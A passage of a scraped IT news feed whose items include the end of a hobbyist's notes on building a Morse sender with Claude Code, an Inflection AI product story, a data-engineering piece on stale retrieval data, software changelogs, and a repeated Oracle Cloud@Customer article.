Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me". I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project. I still do not 100% get git, but we are successfully using it.

You can find all these files in my GitHub repo ( https://github.com/jttrey3/CYD_MorseSender ) where they are shared under a GPL 3.0 license.

There are still several additional steps I plan to complete in the next few months.

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio. This will require a battery power source, charge controller, and more hardware.

  1. I... make that "We" (Claude & I) will be modifying the code to support an audio side tone through an attached speaker when sending code
  2. We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.
  3. We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.

Does using AI to develop this code make me a fraud? It still feels like it in some ways.

Does it make me more productive? ABSOLUTELY! I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week. If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

Does it empower and inspire me to do more projects like this? 100% I feel like I had support working with me the whole way. I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

Until next time...

Provide feedback on this episode.

]]> <![CDATA[Windows Package Manager 1.30.70-preview]]> https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/ https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/ Thu, 23 Jul 2026 00:42:00 +0200 đŸ’Ÿ Downloads tsecurity.de This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.

New in v1.30

Nothing yet.

Bug Fixes

  • Fixed a crash (0x8000ffff) when using --disable-interactivity with the Resume experimental feature enabled during install operations.

What's Changed

New Contributors

Full Changelog: v1.29.240...v1.30.70-preview

]]> <![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]> https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ Wed, 22 Jul 2026 22:58:21 +0200 📰 IT Nachrichten tsecurity.de Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.

The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.

"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.

Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.

Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional

White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.

"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."

White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.

"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."

That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.

Inside Pi Journeys, the AI companion that maps your relationships and life stages

Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.

"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.

White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.

Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."

The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.

What Inflection's consumer AI research reveals about how people actually use chatbots

Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.

More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.

"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."

This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."

He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.

How the $650 million Microsoft deal hollowed out Inflection — and set up its second act

To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.

Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.

White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.

Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.

Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.

The six-month prediction: relationship-aware AI is coming to the enterprise

Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."

If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.

The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."

That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.

Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.

Can a diminished Inflection compete with AI giants spending billions?

Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."

The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.

But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.

Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."

Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.

]]> <![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]> https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ Wed, 22 Jul 2026 22:58:18 +0200 📰 IT Nachrichten tsecurity.de You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

  • AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

  • Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

  • Is the underlying data validated against the standards required by its consumers?

  • What's the oldest piece of content currently being served with high confidence?

  • Would two chunks of the same source ever disagree with each other in the same retrieval result?

  • Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

]]> <![CDATA[OnionHop 3.7.2]]> https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/ https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/ Wed, 22 Jul 2026 20:29:10 +0200 đŸ’Ÿ IT Security Tools tsecurity.de Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.

Fixed

  • Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (#74).
  • Transport start failures now say why. When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (#74).

Downloads

Platform File
Windows installer OnionHop-Setup-v3.exe
Windows portable OnionHopV3-Portable-3.7.2-win-x64.zip
Windows CLI OnionHop-CLI-Setup-3.7.2.exe / OnionHopCLI-Portable-3.7.2-win-x64.zip
Linux OnionHop-x86_64.AppImage
Linux CLI OnionHopCLI-3.7.2-linux-x64.tar.gz
macOS (Apple Silicon) OnionHop-3.7.2-macOS-arm64.dmg
macOS (Intel) OnionHop-3.7.2-macOS-x64.dmg
macOS CLI (Apple Silicon) OnionHopCLI-3.7.2-macos-arm64.tar.gz
macOS CLI (Intel) OnionHopCLI-3.7.2-macos-x64.tar.gz
]]> <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 20:19:33 +0200 🔧 AI Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

This article first appeared on CIO.

]]> <![CDATA[Save $400 Off This Eufy E25 Robot Vacuum and Mop, and Never Clean Your Own Floor Again]]> https://tsecurity.de/de/3687235/it-nachrichten/save-400-off-this-eufy-e25-robot-vacuum-and-mop-and-never-clean-your-own-floor-again/ https://tsecurity.de/de/3687235/it-nachrichten/save-400-off-this-eufy-e25-robot-vacuum-and-mop-and-never-clean-your-own-floor-again/ Wed, 22 Jul 2026 20:18:04 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Apple is Testing Mac Mini with M6 and M5 Pro Chips, Says Report]]> https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/ https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/ Wed, 22 Jul 2026 19:58:28 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 19:56:30 +0200 📰 IT Security Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

This article first appeared on CIO.

]]> <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 19:49:12 +0200 📰 IT Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

